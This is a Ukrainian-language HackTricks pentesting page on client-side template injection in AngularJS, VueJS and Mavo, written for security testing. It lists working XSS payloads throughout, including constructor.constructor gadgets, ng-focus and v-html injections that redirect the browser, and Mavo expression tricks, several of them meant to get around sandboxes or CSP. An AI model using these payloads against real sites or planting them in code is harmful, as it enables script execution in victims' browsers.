hacktricks/src/pentesting-web/client-side-template-injection-csti.md

79 lines
5.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Client Side Template Injection (CSTI)
{{#include ../banners/hacktricks-training.md}}
## Summary
Це схоже на [**Server Side Template Injection**](ssti-server-side-template-injection/index.html), але в **клієнті**. **SSTI** може дозволити вам **виконувати код** на віддаленому сервері, **CSTI** може дозволити вам **виконувати довільний JavaScript** код у браузері жертви.
**Тестування** на цю вразливість дуже **схоже** на випадок **SSTI**, інтерпретатор очікує **шаблон** і виконає його. Наприклад, з корисним навантаженням, як `{{ 7-7 }}`, якщо додаток **вразливий**, ви побачите `0`, а якщо ні, ви побачите оригінал: `{{ 7-7 }}`
## AngularJS
AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, одна з яких - **`ng-app`**. Ця директива дозволяє AngularJS обробляти HTML вміст, що дозволяє виконувати JavaScript вирази всередині подвійних фігурних дужок.
У сценаріях, де введення користувача динамічно вставляється в HTML тіло, позначене `ng-app`, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, які демонструють, як можна виконати JavaScript код:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Ви можете знайти дуже **базовий онлайн приклад** вразливості в **AngularJS** за посиланням [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) та в [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION] > [**Angular 1.6 видалив пісочницю**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), тому з цієї версії корисне навантаження, таке як `{{constructor.constructor('alert(1)')()}}` або `<input ng-focus=$event.view.alert('XSS')>`, повинно працювати.
## VueJS
Ви можете знайти **вразливу реалізацію Vue** за посиланням [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Працююче корисне навантаження: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
А також **джерельний код** вразливого прикладу тут: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
Дуже хороший пост про CSTI у VUE можна знайти за посиланням [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Кредит: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Кредит: [Mario Heiderich](https://twitter.com/cure53berlin)
**Перевірте більше VUE payloads у** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## Mavo
Payload:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Більше пейлоадів у** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **Список виявлення грубої сили**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}